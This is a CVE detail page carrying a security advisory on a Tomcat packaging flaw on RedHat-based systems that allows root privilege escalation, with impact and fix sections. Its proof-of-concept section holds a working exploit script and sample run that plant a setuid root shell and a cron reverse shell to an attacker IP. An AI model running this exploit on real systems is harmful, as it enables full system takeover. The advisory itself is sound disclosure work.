CVE-2016-5425 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

============================================= - Discovered by: Dawid Golunski - http://legalhackers.com - dawid (at) legalhackers.com - CVE-2016-5425 - Release date: 10.10.2016 - Revision: 1 - Severity: High ============================================= I. VULNERABILITY ------------------------- Apache Tomcat (packaging on RedHat-based distros) - Root Privilege Escalation II. BACKGROUND ------------------------- "The Apache Tomcat® software is an open source implementation of the Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket technologies. The Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket specifications are developed under the Java Community Process. The Apache Tomcat software is developed in an open and participatory environment and released under the Apache License version 2. The Apache Tomcat project is intended to be a collaboration of the best-of-breed developers from around the world. Apache Tomcat software powers numerous large-scale, mission-critical web applications across a diverse range of industries and organizations. Some of these users and their stories are listed on the PoweredBy wiki page. " http://tomcat.apache.org/ III. INTRODUCTION ------------------------- Apache Tomcat packages provided by default repositories of RedHat-based distributions (including CentOS, RedHat, OracleLinux, Fedora, etc.) create a tmpfiles.d configuration file with insecure permissions which allow attackers who are able to write files with tomcat user permissions (for example, through a vulnerability in web application hosted on Tomcat) to escalate their privileges from tomcat user to root and fully compromise the target system. IV. DESCRIPTION ------------------------- The vulnerability stems from the tomcat.conf file installed by default by packages on RedHat-based systems with write permissions for the tomcat group: [root@centos7 ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf -rw-rw-r--. 1 root tomcat 361 Oct 9 23:58 /usr/lib/tmpfiles.d/tomcat.conf The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage temporary files including their creation. Attackers could very easily exploit the weak permissions on tomcat.conf to inject configuration that creates a rootshell or remote reverse shell that allows them to execute arbitrary commands with root privileges. Injected malicious settings would be processed whenever /usr/bin/systemd-tmpfiles gets executed. systemd-tmpfiles is executed by default on boot on RedHat-based systems through systemd-tmpfiles-setup.service service as can be seen below: ---[ /usr/lib/systemd/system/systemd-tmpfiles-setup.service ]--- [...] ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev ---------------------------------------------------------------- Depending on the system in use, the execution of systemd-tmpfiles could also be triggered by other services, cronjobs, startup scripts etc. The vulnerability could potentially get exploited by remote attackers in combination with a vulnerable web application hosted on Tomcat if they managed to find a path traversal (e.g in a file upload feature) or an arbitrary file write/append vulnerability. This would allow them to append settings to /usr/lib/tmpfiles.d/tomcat.conf file and achieve code execution with root privileges without a prior local access/shell on the system. This vector could prove useful to attackers, for example if they were unable to obtain a tomcat-privileged shell/codeexec by uploading a .jsp webshell through a vulnerable file upload feature due to restrictions imposed by Tomcat security manager, or a read-only webroot etc. It is worth to note that systemd-tmpfiles does not stop on syntax errors when processing configuration files which makes exploitation easier as attackers only need to inject their payload after a new line and do not need to worry about garbage data potentially prepended by a vulnerable webapp in case of Arbitrary File Write/Append exploitation. V. PROOF OF CONCEPT EXPLOIT ------------------------- -----------[ tomcat-RH-root.sh ]--------- #!/bin/bash # Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit # CVE-2016-5425 # # Full advisory at: # http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html # # Discovered and coded by: # Dawid Golunski # http://legalhackers.com # # Tested on RedHat, CentOS, OracleLinux, Fedora systems. # # For testing purposes only. # ATTACKER_IP=127.0.0.1 ATTACKER_PORT=9090 echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *" echo -e " Discovered by Dawid Golunski\n" echo "[+] Checking vulnerability" ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat' if [ $? -ne 0 ]; then echo "Not vulnerable or tomcat installed under a different user than 'tomcat'" exit 1 fi echo -e "\n[+] Your system is vulnerable!" echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..." cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf C /usr/share/tomcat/rootsh 4770 root root - /bin/bash z /usr/share/tomcat/rootsh 4770 root root - F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n" _eof_ echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:" cat /usr/lib/tmpfiles.d/tomcat.conf echo -e "\n[+] Payload injected! Wait for your root shell...\n" echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), the rootshell will be created in /usr/share/tomcat/rootsh. Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n" --------------[ eof ]-------------------- Example run: -bash-4.2$ rpm -qa | grep -i tomcat tomcat-7.0.54-2.el7_1.noarch -bash-4.2$ cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) -bash-4.2$ id uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 -bash-4.2$ ./tomcat-RH-root.sh * Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 * Discovered by Dawid Golunski [+] Checking vulnerability -rw-rw-r--. 1 root tomcat 43 Oct 10 02:39 /usr/lib/tmpfiles.d/tomcat.conf [+] Your system is vulnerable! [+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf... [+] /usr/lib/tmpfiles.d/tomcat.conf contains: f /var/run/tomcat.pid 0644 tomcat tomcat - C /usr/share/tomcat/rootsh 4770 root root - /bin/bash z /usr/share/tomcat/rootsh 4770 root root - F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/127.0.0.1/9090 0<&1 2>&1 & \n\n" [+] Payload injected! Wait for your root shell... Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), the rootshell will be created in /usr/share/tomcat/rootsh. Additionally, a reverse shell should get executed by crond shortly after and connect to 127.0.0.1:9090 -bash-4.2$ nc -l -p 9090 bash: no job control in this shell [root@centos7 ~]# id id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023 [root@centos7 ~]# ls -l /usr/share/tomcat/rootsh ls -l /usr/share/tomcat/rootsh -rwsrwx---. 1 root root 960392 Aug 2 12:00 /usr/share/tomcat/rootsh [root@centos7 ~]# VI. BUSINESS IMPACT ------------------------- Attackers who have gained access to tomcat user account or the ability to write files as tomcat user could escalate their privileges to root and fully compromise the affected system. As explained in section IV., the vulnerability could potentially get exploited by remote attackers in combination with certain web application vulnerabilities to achieve command execution without prior shell access. VII. SYSTEMS AFFECTED ------------------------- Multiple versions of Tomcat packages on RedHat-based systems are affected. The vulnerability was confirmed on Tomcat installed from default repositories on the following systems: - CentOS - Fedora - Oracle Linux - RedHat Refer to information provided by your distribution to obtain an exact list of vulnerable packages. Detailes provided by RedHat can be found at: https://access.redhat.com/security/cve/CVE-2016-5425 VIII. SOLUTION ------------------------- Adjust permissions on /usr/lib/tmpfiles.d/tomcat.conf file to remove write permission for the tomcat group. Alternatively, update to the latest packages provided by your distribution. Confirm the file permissions after the update. IX. REFERENCES ------------------------- http://legalhackers.com http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html The source code of the exploit (tomcat-RH-root.sh) can be downloaded from: http://legalhackers.com/exploits/tomcat-RH-root.sh CVE-2016-5425 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5425 https://access.redhat.com/security/cve/CVE-2016-5425 X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. REVISION HISTORY ------------------------- 10.10.2016 - Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.